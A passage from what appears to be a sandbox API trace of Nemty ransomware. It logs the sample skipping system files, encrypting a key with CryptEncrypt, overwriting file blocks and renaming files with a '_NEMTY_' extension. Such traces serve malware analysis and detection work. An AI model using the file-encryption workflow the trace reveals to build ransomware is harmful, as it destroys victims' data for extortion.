returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="ntuser.dat") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="desktop.ini") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="CONFIG.SYS") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="RECYCLER") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="bootmgr") returned 1 [0102.811] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="programdata") returned 1 [0102.812] lstrcmpiW (lpString1="wmlaunch.exe.mui", lpString2="appdata") returned 1 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmlaunch.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0102.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0102.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmlaunch.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0102.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0102.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmlaunch.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0102.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmlaunch.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0102.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0102.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0102.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0102.812] Sleep (dwMilliseconds=0x5) [0102.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0ee4b50, dwHighDateTime=0x1d561e7)) [0102.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0ee4b50, dwHighDateTime=0x1d561e7)) [0102.817] GetLastError () returned 0x5 [0102.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.817] GetLastError () returned 0x5 [0102.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0102.818] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0102.818] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0102.818] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0102.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0102.818] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="H5FVMxHhHuTvtjV0cgLl7/7j3WBUK++Faq5VotN+9q0gN1eFQIZDMgu28acqBmnY\r\nBGkx1BrJYXHomwefTp1z1zmfnVWKmRYJYEEjR4yLRzSP8MGlfQn6TJdxrgG1x+Np\r\nKB4U009HM/Hvtdu09c7BjjabTRyFIxtDhbp65vIZOAWXaefu7nAYI4FzEXbkqCLH\r\notIhsENV8Qpcf9ukKFoImEgyydKmxT4OYX8Z8mntjTMb0FPoE1A6iDmbqUrvRl2o\r\ncznVL2Goy4ZfxKp/U9QSJAA0ERqiVsNX5qgKunbdqTxT3rTPnegq6s8Z7f3P47uV\r\nKxnP5Gnx7kstEoGKpptBaQ==\r\n", pcchString=0x653ef9c) returned 1 [0102.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0102.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0102.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0102.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0102.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0102.818] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmlaunch.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.818] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0102.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0102.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.846] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.908] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0102.929] CloseHandle (hObject=0xffffffff) returned 0 [0102.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0102.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0102.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0102.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0102.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0102.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0102.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0102.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmlaunch.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmlaunch.exe.mui._nemty_kgobjgd_")) returned 0 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.930] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="WMPDMC.exe.mui", cAlternateFileName="")) returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="..") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="...") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="windows") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="rsa") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="NTDETECT.COM") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="ntldr") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="MSDOS.SYS") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="IO.SYS") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="boot.ini") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="boot.ini") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="ntuser.dat") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="desktop.ini") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="CONFIG.SYS") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="RECYCLER") returned 1 [0102.930] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0102.931] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="bootmgr") returned 1 [0102.931] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="programdata") returned 1 [0102.931] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="appdata") returned 1 [0102.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0102.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMC.exe.mui", lpUsedDefaultChar=0x0) returned 14 [0102.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0102.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMC.exe.mui", lpUsedDefaultChar=0x0) returned 14 [0102.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 